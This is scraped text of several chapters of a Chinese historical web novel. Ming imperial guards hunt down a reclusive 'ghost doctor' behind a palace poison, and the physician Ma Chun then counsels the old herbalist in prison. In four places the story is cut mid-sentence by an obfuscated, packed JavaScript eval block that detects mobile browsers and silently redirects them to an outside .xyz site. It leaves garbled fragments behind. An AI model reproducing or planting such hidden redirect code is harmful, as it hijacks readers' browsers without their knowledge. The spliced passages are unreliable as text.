“顺着水源往内地走,但最大最稳定的炼制点,肯定在江南。”
“汪英龙不是说了吗?”马淳的声音带着理性的判断,“他们是一条船上的帮伙,同船共济?”
蒋瓛盯着他,咧开嘴,“看起来汪家那边还有点油没挤干净,我再去熬熬。你这条线捏稳了,随时等我消息。”
“江南……”
他不再多说,霍然转身,推开房门,身影迅速融入夜色,眨眼便看不见。
……
诏狱深处。
汪英龙脸色蜡黄而枯槁,他蜷在冰冷石地上。
蒋瓛出现时,他猛地起身。
“蒋……蒋大人?”汪英龙急切地看着蒋瓛。
他现在只想将自己知道的所有东西都吐出来。
“那毒引子,温玉散,”蒋瓛开口,很开门见山,“谁配出来的?如何练?”
汪英龙喉头剧烈滚动,急急辩白:“大人明察!小的真不知啊!那些药材……天竺的番木鳖、桐香根油……小的不过是买家给单子,照本宣科去找!南洋有的是稀奇货色!”
他身体前倾,“小的只认金子,哪管他买去点房子还是毒耗子!小的只懂运货,管通船!至于他拿去做什么文章……小的上哪知晓!”
蒋瓛只是听着,眼皮都没动一下。
“药是死的,”蒋瓛终于又问,“炮制是活的。那些东西配成散,融水透骨,还掩掉气味,功夫差不得半分。汪英龙,这等手段,绝非南洋土人弄得出来。”
……
第215章鬼医!世上真有这样的人?
汪英龙茫然地张着嘴:“大……大人是说……”
“药,”蒋瓛目光如刀,“需定火候,需控潮气,需清流水涤荡澄净。南洋那地方,潮得发馊,热得蒸笼,炮制不出这等精细货色。”
汪英龙眼里更空了。
蒋瓛盯着他:“那炼制地,必在我大明疆土之内。需得河网纵横,水汽长年均匀,能控温控潮的地方。汪英龙,想想……”
“江南水乡,能藏住药炉子的地方在哪?”
“江南……制……制药的高手?”汪英龙喃喃重复,“小的做正当海贸,顶多……顶多偷偷夹带些违禁货!真和这些邪门歪道不熟啊!大人明鉴!小的是真没路数接触那些炼药的鬼人!”
蒋瓛沉默着。
那无声的威压比任何呵斥都更让汪英龙窒息。
他猛地抬起头,像濒死之人抓住浮木:“江……江南的药!大人!小的想……想起来了!”
“好几年前……小的是听……听跑过那条内河船线的一个老水手提过一嘴!对!在……在杭州府那边!钱塘江江滩边,确实有个古怪地方!”
“是……是一个村子!据说那里藏着个……‘鬼医’!”汪英龙眼中闪过一丝惊惧。
蒋瓛眼皮微不可查地一跳。
鬼医?
“接着说!”蒋瓛的声音依旧平稳。
汪英龙舔了舔干裂的嘴唇,努力回忆。
“具体哪个村,真记不清了……但那老水手说,那鬼医邪乎得很!不爱治人,尽捣鼓些没人敢碰的药!”
“那人用药路子狠毒偏门!平常医家听都没听过的东西,他都能弄!据说……还有大人物罩着!”
汪英龙生怕蒋瓛不信,强调道,“那老水手在江上跑了一辈子,见多识广!当年他给小的讲,有个北边来的大富商,偷偷来找那鬼医求一味极偏的药!那商人的手下来杭州办事时亲口吹过!”
“小的当时只当乡野怪谈,没入心!刚才大人说江南江边、会炼邪药……小的才猛地想起这茬!”汪英龙看着蒋瓛,“那鬼医住的地方,就在大江边上!村里人都躲着他走!他那炼药的地方,水气重得很!”
“鬼医……”蒋瓛又重复了一遍这个名字。
暗处角落,另一道穿着普通飞鱼服的身影无声地记录着。
汪英龙猛地打了个寒噤,他意识到自己说得可能有用
“蒋……蒋大人!”他扑倒在石地上,“小的真的只知道这点风言风语!没、没有半点隐瞒!求大人……”
蒋瓛不再看他。
他转过身,走向牢房那扇沉重的铁门。
“汪英龙,”就在门口时,他脚步顿住,“若因你这一句,能揪出药根子……”
“本帅说过的话,算数。”
留下这八个字,蒋瓛推开铁门,走了。
牢房里重归死寂。
只剩汪英龙瘫在地上,脸贴着冰冷肮脏的地面。
蒋瓛大步踏出,守在外面的两名亲信锦衣校尉立刻迎上。
“大人?”
一个校尉低声询问。
蒋瓛脚步不停。
“给浙江锦衣卫千户所传密令。”他语速很快,“急递!不得误时!”
旁边的校尉立刻从怀中掏出封记密匣用的特制纸笺和一小盒特制朱砂印泥,动作利落。
“寻人!”蒋瓛声音有点急,“杭州府境!钱塘江沿岸村落!所有行踪诡异、深居简出、专炼偏门药物者!重点探查所谓的‘鬼医’!”
“此人必居江畔水汽充沛、人迹罕至之处!村人多惧而远之!其药所涉及之物,恐多含罕见剧毒,或引邪崇!”
亲信校尉笔走龙蛇地记下。
“严令各所!勿打草惊蛇!”蒋瓛厉声道,“暗哨潜入!查其行踪,访其邻里!观其用药之流毒去向!尤其是暗访村中老人!查证传闻!务必查出确凿落脚点!”
他顿了顿,补充道:“传书前,速查我锦衣卫内部秘档!翻阅近十年江南各府密报,尤其是有关民间邪异炼药、致人**或引发地方恐慌的旧案卷宗!找与此‘鬼医’特征相符的记录!”
蒋瓛抬头,望向南方。
“杭州府……钱塘江……鬼医……”
他在心头咀嚼着这几个字,这线索的份量,他太清楚了。
校尉疾书完毕,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023635|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将密令迅速塞入一只细长的黑色铁管,用火漆封印,动作迅捷无比。
另一名校尉已无声地翻身上马。
“大人,快马加鞭!三日必到!”校尉在马上低吼。
“去吧!”蒋瓛只一挥手。
“驾!”
马蹄踏破沉寂的长街,一人一骑如离弦之箭,迅速没入京城的黑暗之中。
蒋瓛连夜入宫。
御书房内,朱元璋的背脊挺得像一张拉满的弓,案头垒着几卷刚被翻开的密档。
“查清楚了?”朱元璋抬起眼,他没有一句废话。
“回陛下,”蒋瓛单膝点地,“马淳剖开了温玉散的药性,主药乃一种名为‘黄樟根油’的南洋货,气味甜腥。还需一种罕见树瘤,出自南洋深林巫部,其味奇木香。二者相混,辅以毒蜥肝脏等物。”
他顿了一下,字字清晰:“然欲成‘温玉散’,需反复滤洗,蒸露澄净。其中关窍,火候、潮气、流水三者缺一不可。南洋之地,时雨时暴,温湿不定,绝无此等平稳环境造出无色无味之精纯毒引。”
朱元璋身体微微前倾:“意思……这毒炉子在大明?在哪?”
“江南。”蒋瓛斩钉截铁,“河网纵横,水汽长年均匀之处!马淳断定,炼制点必藏在大江大河之畔,方便药材进出,更能控住风水!”
他稍作补充,“汪英龙临了吐出一个‘鬼医’名号,藏身杭州钱塘江畔某村,只此传闻。”
“杭州?鬼医?”朱元璋眼中寒芒暴涨,“他倒指了条路!汪英龙说的同船人,昌隆那些呢?”
“已命各地锦衣卫按图索骥。名录在手,跑不了。”
朱元璋靠着椅背,沉默只持续了一瞬,“马淳这小子!果然有两把刷子!不枉朕高看他一眼!硬是叫他把这毒虫钻了哪根泥管子,给刨出来了!”
他霍然起身,“蒋瓛!”
“臣在!”蒋瓛腰背猛地一挺。
朱元璋冷声道,“杭州那边,给朕狠狠地摸!一根针掉地上都得查清响动!那个‘鬼医’,他就是缩在王八壳里,你也得用凿子把他脑壳敲开看看!”
……
第216章那地方的气,闻一下就得死!
“顺着马淳点的这条水路!给朕挖!把那些藏在阴沟里吸血的毒虫……”
“一条!一条!全给朕刨出来!剁碎了喂狗!”
“是!”蒋瓛抱拳领命,“江南诸府,天罗地网已张!那‘鬼医’……翻地三尺也必揪出来!”
他起身**。
朱元璋依旧立在案前,久久不动。
……
第三日黄昏,浙江布政使司治所杭州府。
一场蒙蒙细雨不期而至,笼罩了钱塘江口。
城内暗桩据点。
“头儿,到了。”一个精悍汉子双手递上一支密闭的铁管,正是京师来的密信。
对面被称作“头儿”的汉子接过,掰开火漆封印,抽出薄薄的纸卷,凑近桌上唯一一盏油豆般的灯火。
信很短,字如刀刻,只扫一眼,汉子眼中精光暴闪。
“来人!”锦衣卫千户道,“传所有旗官!百户以上,即刻到堂!”
门外响起几声低应,脚步纷沓远去。
不到半炷香,狭窄的堂屋已挤了七八人,个个面沉如水。
“上峰钧令!”汉子抖开那张纸,“搜!钱塘江两岸一百里内,沿江所有村落,翻查!查人!”
他眼中寒光凛冽:“特征一:孤僻!独居!村民惧怕!特征二:精通制药!尤其偏门异药,甚至毒物!特征三:居所必近活水!特征四:名号,可能带个‘鬼’字!目标——‘鬼医’!”
屋内气息骤然一紧,七八双眼睛在昏暗中相互一对,全是狠厉。
“各队!天亮前把你们辖区里能沾上边的村落名单,给老子列干净!”汉子猛地一拍桌,“每处抽最精干的暗桩,换上破衣烂衫,装哑巴讨饭的、撑船打渔的、走街串巷的货郎都行!混进去!”
他指着每一个人:“记住了!只用眼睛看!用耳朵听!问也只问村里老人!别碰那地方一根草!别惊动一片叶子!”
“上面说了,‘鬼’旁边,可能还蹲着大鬼!谁敢打草惊蛇,”汉子舔了下发干的嘴唇,“老子亲手把他剐了沉江!听明白没有?!”
“明白!”屋中数人齐声低吼,众人轰然应诺,散入如织的雨幕。
几匹快马冲出城去,分头奔向钱塘江上下游蜿蜒的水岸线。
……
第五日。
钱塘江北岸。
一个穿着打补丁短褐、扛着半张破渔网的汉子,缩着脖子,在泥泞的江滩上深一脚浅一脚走着。
前方一个叫“芦苇坡”的小渔村轮廓模糊,几十户泥屋草棚湿淋淋地挤在滩地上。
村口有个歪斜的茅草亭子,几个牙齿快掉光的老头裹着蓑衣缩在里面避雨。
渔网汉子蹭过去,抄着生硬的本地土话:“老丈,讨碗热水活活气咯?”
一个须发灰白、满脸沟壑的老汉抬起浑浊的眼,含糊嘟囔了一句。
汉子磨蹭着从怀里掏出半块硬如石头的杂粮饼,递过去。
几个老头眼里有了点光,警惕稍松。
汉子顺势在亭角湿漉漉的木条上坐下,搓着冻僵的手,有意无意搭话:“这破雨……江头那家,还弄药不?熏得鼻子痛哦。”
老汉费力地嚼着硬饼,闻言眼皮猛地一跳,警惕地瞟了眼村子西头远处孤零零一片被芦苇丛半掩的黑瓦土墙院落。
“莫嚼舌根!”老汉的声音带着一种深入骨髓的惊惧,“黑水潭那边……瘟神的地盘!会招祸的!”
他紧张地左右看看,像怕被什么东西听去。
渔网汉子脸上却堆起憨傻的笑:“嘿嘿,老丈怕啥嘛……都荒废咯……”
“废个屁!”旁边另一个瞎了一只眼的老头啐了一口,“去年……王癞子贪心,想去摸他院子外头扔的那些药渣卖铜板……回来才三天!浑身烂得像泡烂的死鱼!哼都没哼一声就硬了!”
独眼老头满是恐惧,身体下意识地往亭子深处缩了缩:“那药罐子的气,吸一口都要命!方圆几十丈,草都不长!谁沾谁死!离远点……远点……”
渔网汉子脸上憨笑不变,心跳却猛地快了一拍。
他视线低垂,记牢了那独眼老头最后仓皇瞥向的方向——村子最西头,芦苇荡深处那片黑沉沉的轮廓。
十几里外,钱塘江另一个拐弯处的小湾码头。
水波晃荡着几条破船。
几个穿着皂隶号衣的“巡查”打着火把,板着脸,挨个翻查船户的“行路签票”。
喧闹掩盖下,其中一个船老大模样的人,借着递文书的瞬间,飞快地对领头的皂隶头子说了几句土话。
皂隶头子目光一闪,若无其事地收回文书,吆喝着:“都没问题!走吧!”
船老大点头哈腰,撑船离开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029139|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>皂隶头子带着人往下一艘船走去,对身边一个心腹极快地做了个手势。
那心腹悄无声息地后退,消失在码头黑暗的木棚后。
子夜。
钱塘江畔某个废弃的龙王庙偏殿。
几张还滴着水的草图铺在沾满灰尘的香案上。
浙江锦衣卫千户周炳章,借着防风牛油蜡烛豆大的光,用粗糙的手指在几张新汇聚的草图上来回滑动。
“西水湾那边没动静,”一个暗哨禀报,“村人说没甚怪人落脚。”
“枫泾口那边也没异样……”
周炳章没说话,手指移向东,停在另一张村图上几个墨点旁。
那是几个暗哨上报的“疑似独居、邻里避讳”的地点。
手指继续移动,最终停在西边一张图上。
图很粗糙,但用炭条仔细画着一片芦苇,围着一处院落轮廓。
正是“芦苇坡”那渔网汉子所报之处。
“头儿,还有这个,”另一个负责汇总的老书吏递过一张揉皱的桑皮纸,“杭州府衙那边秘档翻出来的,废案卷。五年前报过一次失踪。清水县衙有个跑腿捕快留过只言片语,说办差路过芦苇坡,闻过一股‘怪甜气,闻了头晕’,位置……也说的西头芦苇荡那孤房子附近!”
周炳章的目光死死锁住那幅简陋的院图。
“就是它了。”他下令,“传令!丙组、丁组所有人,立刻向芦苇坡西三里的废砖窑集结!备上**、钩索、渔网!寅时前务必到位!”
“给老子的箭上都抹麻沸散!不准见血!要活口!记住,那毒地方,砖头都透着邪性!动手之前,防毒的面巾给老子捂严实!谁敢吸进去一丝怪气,老子灭他满门!”
“是!”几条黑影无声融入门外铺天盖地的雨幕。
寅时的梆子声在遥远的县城若有若无。
雨没有停,反而更密,打在江面上溅起茫茫白雾。
芦苇坡西,那片孤悬在深水潭边的黑瓦院落,像个墨点泼在暗沉的天地间,沉寂无声。
院墙很高,顶部插着些破碎的瓷片和荆棘枯枝。
墙根下的泥土颜色深得诡异,寸草不生,雨点砸在上面,像敲在蒙皮的鼓上。
百丈外,早已废弃的砖窑洞口野草半人高。
窑洞深处,领头的百户无声地比划了几个手势。
第217章鬼医,居然是……
寅时的雨,冰冷刺骨。
锦衣卫百户**压低身体,最后确认,“上!”
数条黑影如离弦之箭,精准地攀过高墙。
动作麻利,没有触动任何可能的机关。
然而预想中的毒雾、陷阱,一概没有。
墙内是一个规整的小院。
几畦药圃被精心打理,在雨中青翠。
晾晒草药的木架空空如也,显然收了进去。
一间青瓦正屋,两间稍矮的偏房。
窗户透出昏黄的油灯光,安静得不像传说中的鬼域。
**快速打出手势,几名手下猛撞开正屋木门!
“锦衣卫!不准动!”
**箭寒光,瞬间锁定屋内三人。
灯下,一个须发皆白、穿着洗得发白葛布袍的老者愕然抬头。
他手上还拿着一杆小铜秤。
旁边两个年轻徒弟,正捣着石臼里的药材。
吓得瞬间僵住。
没有狰狞面目,没有诡异烟雾。
三人就是普通的药师模样,甚至带着点书卷气。
屋内弥漫着浓烈但纯粹的草药苦香。
陈设简朴,却十分干净整齐。
药柜、工具摆放有序,跟恐怖传说沾不上边。
“官……官爷?”老者站起身,眼中是茫然多于惊恐,“这是何意?”
声音沙哑,但不阴森。
**目光如电,扫视屋内。
没有毒坛罐罐,没有可疑尸骨。
只有药草、书籍和蒸馏器具。
预料的“鬼医巢穴”,此刻看来,就是个普通匠人的药房。
他压下心中惊疑,厉声道:“你就是村里人说的‘鬼医’?”
老者愣了愣,随即苦笑。“那是……那是乡亲们胡乱叫的。”
他放下铜秤,“老朽宋青涯,就是个痴迷古方药理的老药师。带着两个不成器的徒弟讨生活罢了。”
“讨生活?”**冷笑,“讨生活用得着把住处弄成禁地?吓得村民不敢靠近?用的着散布瘟神谣言?说什么吸口气就得死?”
他指向窗外墙根寸草不生的地方:“还有那里,怎么回事?!”
宋青涯顺着他的手指看去,脸上浮起一丝无奈和歉意。
“那里……”他叹了口气,“是老朽早年研究一味矿物药毒,不慎打翻了一点药液,沁入土里。虽尽力清理,但药性霸道,土质已坏,种不得东西了。并非有意污秽。”
他看向**:“至于传言……官爷明鉴。老朽师徒常需提炼一些剧毒之物入药,如蛇毒、蝎毒、断肠草精粹等。气味驳杂,加之提炼时偶有挥发,确带些微毒雾。”
“若不事先警示,任那不知情的村童或贪心的闲人闯入院子,沾到碰到这些剧毒物事……”宋青涯摇摇头,眼中满是后怕,“轻则**残废,重则当场毙命。老朽散些恐怖言语,实是无奈之举,只想将人吓走,免生无妄之灾。”
一个徒弟忍不住小声辩解:“师父常说要‘锁门避害’。我们只想关起门做自己的药,从没想过害人!”
另一个徒弟也用力点头。
**的眉头皱得更紧。这与他预想的狡诈凶徒完全不同。
他逼问核心问题:“好一个闭门钻研!那‘温玉散’的药引子是不是你这儿出去的?!”
“温玉散?”宋青涯先是迷惑,随即脸色大变,“官爷是说……那种能溶入滋补品中,无色无味引动阴毒的阴蚀引?你们……你们查到了它?”
**眼神一厉:“果然是你!”
宋青涯猛地吸了口气,神情复杂,带着一丝被触及痛处的痛苦。
“阴蚀引……”他声音发涩,“不!在老朽的方子上,它原本叫‘枯荣转生汤’!”
他眼中透出执着的光,“官爷有所不知!这汤方的初衷并非害人!而是为了救命!”
徒弟急忙补充:“是啊官爷!师父研究这方子,是为了救那些先天不足,难以成活的早产胎儿!”
宋青涯点头:“不错!老夫行医一生,见过太多孕期妇人体弱,胎儿发育不良。若母体再受冲撞或惊吓,极易损及胎儿元气,使之骨弱神虚,甚至胎死腹中!老夫遍查古方,寻求良策。”
他走到书案旁,拿起一本泛黄的手札,翻开其中一页。
上面密密麻麻记载着试验。
“老夫发现,以秘法提炼几种天然毒物精华,取其至阴之性,再以特定草木中和引导……”
他指着方子解释,“此引子若用得精妙,能在极短时间内刺激胎儿体内残存的先天元气勃发!如同枯木逢春,可暂时加速其筋、骨、髓的发育生长!
“虽非长久之计,却能为那些濒临夭折的胎儿争得一线存活之机!”
宋青涯语气渐渐激动。
“老夫亲眼见过数次,那瘦弱如鼠、气息奄奄的婴孩,用了适当剂量的引子催化后,气息转粗,筋骨渐实!这便是‘枯荣转生汤’!以枯竭之躯,求一线转生之机!”
他的眼神却随即暗淡。“可惜……此引须在胎儿尚在母腹时使用,剂量要求极其苛刻,多一丝则化为剧毒,反噬胎儿与母体。非精通此道的医者根本不敢尝试。一旦胎儿成型落地,这引子再无补益,只剩……剧毒!”
宋青涯痛苦地闭上眼。
“老夫
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029140|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
钻研多年,只在小范围尝试,并不断改良,以求完全化去其毒性只留转生机。为此需要大量稀有毒物做试验。花费巨大……”
他看向**。“数年前,有一神秘买家,不知从何处得知老夫在研此方。主动寻上门,允诺提供老夫所需的一切珍稀药材,且不问出处,不计代价。”
“老夫……老夫沉**理,想着若资金充裕,或能更快完成这救人之方……”他声音充满悔恨。“便应下了!老夫只需定期提交研究所得的引子成品和试验记录给他……”
宋青涯的声音颤抖起来,“老夫只管制药!对方如何用,用在哪处……老夫实在不知啊!只是隐约察觉他们所求甚大,用量甚巨!老夫也疑虑过,这引子除了用于未成型的胎儿,还能做什么?但投入太大,研究太深,总想着再进一步就能成功……”
徒弟带着哭腔:“官爷!师父他真的不知道那些人把引子用去害人啊!师父只想救人!不然干嘛叫‘转生汤’!”
“老夫……老夫万没想到!”宋青涯猛地攥紧拳头,“他们竟将那用于加速胎生的枯荣引子……用于戕害已成年的贵人!”
“温玉散……无色无味融于滋补……长期服用,阴毒蚀体……是了!成年人体内哪还有先天元气可供激发?”
“强行使用此引……便是在不断透支损耗其根本精元!如同拔苗助长直至枯竭!这哪里是温玉散……这分明是蚀骨销魂的穿肠**啊!”
他身体晃了晃,几乎站立不稳。
“造孽啊!”宋青涯老泪纵横。
他看向窗外瓢泼大雨,“老夫为求转生之道,却造下了夺命之毒……”
他颓然坐下,“此事罪责,老朽……认了。”
**默然看着这一切。
预想中的顽抗与阴狠没有出现。
只有老者的痴迷、执着、被利用的悔恨,以及被揭穿真相时的崩溃。
所谓的鬼医传说,不过是村民对不明药物的恐惧被放大。
那些骇人听闻的“毒气”“瘟神”。
只是这老人为避免无辜者接触剧毒而自导的拙劣保护。
而那被用作宫廷剧毒的“温玉散”,根源竟是一种为了拯救早夭胎儿而研制的禁忌之药。
动机本为救人。
药方却被人拿去害命。
无心插柳,却成了**利器。
**深吸了一口冰凉潮湿的空气。
这真相本身,比任何鬼故事都更令人齿冷,也更令人唏嘘。
他挥了挥手,“带回去。连同所有药籍、方子、药引样品……一干人等,押回京师!”
……
第218章马淳教七十岁鬼医如何治病
京城。
蒋瓛垂手:“陛下,人已在诏狱,该如何处置?”
朱元璋沉默良久,终于开口:“去请马淳。”
诏狱深处。
宋青涯蜷在草堆里。
他花白的头发散乱,整个人缩成一团,嘴唇无声翕动,似乎在推演某个药方里的君臣配伍。
那神态竟有几分孩子般的执拗。
忽然,他迟钝地抬头。
一身素青布袍的马淳立在牢门外,狱卒正躬身开锁。
宋青涯浑浊的眼里闪过一丝迷惑,随即黯淡下去。
又是个官吧?
问的还是那些事。
“草民……”他习惯性地想解释。
马淳跨进门,摆手打断他。
没有寒暄,没有审讯者的居高临下,他开门见山,“黄樟根油提炼时,你加了什么去腥?”
宋青涯猛地一震,涣散的目光瞬间凝聚,像被点燃的火星。
“你……你也懂药?”他身体不自觉前倾,“那油烈得很,我用的是江南四月桃花露,新采,掺微量木通汁……慢火蒸,取其清冽,压甜腥。”
“木通汁?”马淳眼神锐利起来,逼近一步,“木通本含马兜铃酸,微量即损肾脉!你用在胎引里?”
宋青涯急切地摆手,语速加快:“不不!去掉青花木通表皮那层青皮!只取中心白芯榨取澄清液!老夫验过百遍,白芯无毒,反能导湿热……”
“百遍?”马淳冷笑,“你可知宫内所存温玉散样本中,马兜铃酸残留已透骨穿髓!”
宋青涯脸上的急切凝固,血色瞬间褪尽。
“不可能……白芯我亲测过无毒……”他反复呢喃,仿佛信念崩塌了一角,“难道……难道是青皮未除尽?或是……或是别的环节?”
他猛地抬头发问,像抓住最后一根救命稻草:“你说透骨穿髓……是多少剂量?何人服用?”
马淳没有直接回答。
他撩起袍角,在草堆对面的石板坐下。
“你的枯荣转生汤,”他看着宋青涯的眼睛,“借药力刺激胎儿先天元气,强行拔苗,本质是在烧母体根基以补胎儿。”
宋青涯眼神痛苦,嘴唇哆嗦:“老夫……老夫知道此法如饮鸩止渴!可那些脉息弱得似有似无的胎儿……别无他法!我本想……只想争那一线生机啊!”
“生机呢?”马淳追问,“救活几个?”
牢内死寂。
许久,宋青涯的声音低哑得几乎听不见。
“成活……三个。其中两个活过周岁,但……病弱不堪。”
“还有一个呢?”
“……娘胎里就烧尽了……落地时只哭了一声……”宋青涯闭上眼,两颗浑浊的老泪无声滚落,“**命……也搭进去了。”
马淳沉默。
这执拗的老药师,困在这药性的迷宫里太久了。
“你的路,走窄了。”马淳开口,打破沉寂。
宋青涯迷茫地抬头。
“枯荣引子就像一把过于锋利的刀。”马淳缓缓道,“它或许能割开垂死胎儿的‘茧’,却难以控制那刀刃本身带来的伤害。你要‘枯’中求‘荣’,这思路没错。”
“错的是药性过于霸烈,不懂收束,失了医道的‘中正平和’。须知过刚易折,过盛转衰。”
宋青涯眼神闪烁,“那……那该如何?”
马淳并未直接回答,反问:“你可试过当归身?”
“当归身?”宋青涯一怔,“那是补血圣品啊!”
“当归身有引血归经之功。”马淳目光悠远,“它补而不滞,引而不散。你钻研枯荣引,如逆激流而上,船小力薄,难免倾覆。当归身这类药,如顺流之舟,以养为引,润物无声。”
他语速平缓,却字字敲在宋青涯心上。
“譬如那发育不良之胎,先天之根已弱。你一剂猛火下去,纵能激起些许生机,不过是透支仅存的烛火。如同强拉弓弦,弦紧易断。”
“不如徐徐滋养,固其根本,一点点温养那点微弱的‘胎元之火’。如春日细雨,看似无声,却能使干涸的根脉重新萌发生机。这需要更精妙的配伍,更长久的耐心。”
马淳说着,拾起地上半根枯草梗,就着牢房地面浮尘,画出几味药名。
“当归身、桑寄生、杜仲炭、菟丝子……佐微量续断之引……”他低语,“取其‘生生’之意,慢慢培补亏损的精血根基……”
宋青涯直勾勾盯着地上那几味简单却精妙组合的药名,呼吸急促起来。
他脑中翻江倒海。
几十年钻入牛角尖的炼药之路。
那些失败的小小生命和绝望的母亲。
此刻在眼前这年轻人寥寥数语勾勒出的图景里,似乎有了另一条出路。
一条不那么暴烈、不那么酷烈、充满了生养孕育之温情的路!
“徐徐滋养……培其根基……”宋青涯喃喃念着,“桑寄生固肾精,杜仲炭安胎强筋……妙!实在妙!”
他猛地抓住马淳手臂。
“老夫……老夫怎么就走进了死巷子?”他声音哽咽,“年轻时,我也想过调养为先啊!可……可世道人心太急了!那些父母看着瘦弱垂死的胎儿,恨不能立时见效!我被催逼着……”
他痛苦地摇头,老泪纵横。
“一剂下去,若见效,便是神医!若无效,则不如路边野狗!为了那点‘效’,我……我走偏了路!越走越歪!竟忘了医道的本心,在于养护生息!”
他抬起泪眼,望着马淳,浑浊的眼中第一次燃起久违的、属于医者的热切光芒。
“小子……小哥!你说这方子叫‘生生引’?它……它稳当吗?真能……真能养出来?”
“我救
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029141|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过。”马淳声音平静,却带着千钧之力。
他扶着宋青涯因激动而颤抖的胳膊坐下,目光落在这痴于药理一辈子的老人脸上。
“用此理法,保下一胎,母健儿安。”
宋青涯呆呆看着他,嘴唇哆嗦着。
半晌,喉咙里终于发出一声如释重负、又似悲鸣的长叹。
“好……好一个‘生生’……好一个养……”
夜色在深牢中无声流淌。
那一老一少的身影,在昏黄的灯火映照下似乎融在了一处。
宋青涯靠在冰冷的石壁上,精神却像是被注入了某种鲜活的生气。
他絮絮叨叨。
讲他年轻时如何为寻一味药跋涉深山。
讲自己如何失败。
讲第一次接生时的恐惧。
讲那些绝望的父母如何抱着奄奄一息的幼儿跪在他门前。
讲他如何在一次次的失败和绝望里,越来越急切,越来越迷失。
声音低沉、沙哑,带着岁月浸染的疲惫和深深的自责。
马淳静静听着,偶尔点头,在关键处插上一句。
“是母体虚极,强行冲任受损。”
“当先扶阳固本。”
“川断炒炭,用在此处,可束药力而不伤阴。”
往往只是简单几个字,几个药名,就如同一把精准的钥匙,为宋青涯记忆中那些盘根错节的困惑与懊悔解开了结。
有时点出他当年某个尝试错在何处。
有时为他几十年前一个模糊念头里闪现的灵感补上最关键的药引。
时间失去了刻度。
只有那沙哑老声和年轻沉稳的声音交织在一起。
药的名字,经脉的流注,方剂的君臣相佐……
那些支撑宋青涯行了一生的信仰和技艺,仿佛在这暗牢之中重新焕发出生机。
马淳看着老人时而激动拍膝,时而恍然长叹的样子,眼神复杂。
这老人对药理的专注几乎到了痴傻的地步,却也赤诚到了极致。
他的双手沾着因药而死的血泪,可他的心,的确只装着救人的方子。
“老夫……老夫死也无憾了!”
宋青涯抹了一把脸上的泪与汗,喟然长叹,眼中却亮得惊人。
“能闻此生生之道,解我半生疑惑,这把枯骨填了沟壑,也值了!小哥,你……你叫什么名字?”
马淳站起身,拍了拍长袍上沾染的尘土草屑。
他看着宋青涯期待又释然的目光。
“我叫马淳。”他顿了顿,“今日之言,望宋老铭记。生生之道,在乎长久。药如是,医道如是,人亦如是。”
他转身走向牢门。
宋青涯怔怔地望着那挺拔的背影。
“马……淳……”他低声念着这个名字,缓缓地、长长地吁出了一口压在胸中几十年都未曾吐尽的浊气。
……
第219章马淳真的是圣人一样的存在!
诏狱沉重的铁门在身后哐当合上。
蒋瓛从角落的阴影里一步踏出,“人怎样?”
马淳刚从压抑的环境里出来,呼出一口带着凉意的气。
“一个钻进药理迷宫的老药痴。”他言简意赅。
“疯病?”
“不是疯。”马淳摇头,看向蒋瓛,“是执。他所有心思都在那些药上,旁的事,糊涂得很。”
蒋瓛的嘴角微微撇了一下,“这种人,留不得。药炼的再精,脑子不清醒,就是祸害。陛下还在等信,如何处置?”
马淳沉默了一瞬。
“他的初衷,是为了救人。并非牟利,也非存心作恶。他只是……”马淳斟酌着词句,“只是一把被用错的刀。失了方向的匠人。”
“匠人?”蒋瓛挑眉,“那把刀上沾了贵人的血。”
“是那些把他当刀用的人沾的血。”马淳的语气很肯定,“他是制药的工具,但药如何使用,非他所愿,亦非他能掌控。此人心思纯粹,只在药石之间,是个难得的研究型人才。”
蒋瓛没有说话,只是盯着马淳,似乎在等他后面的话。
“若因无知而被利用,最终又幡然醒悟,一味取其性命……”马淳对上蒋瓛的目光,“有失公允,也失了朝廷气度。更何况,杀了他,那些隐藏的毒虫,只会换个地方再炼药。”
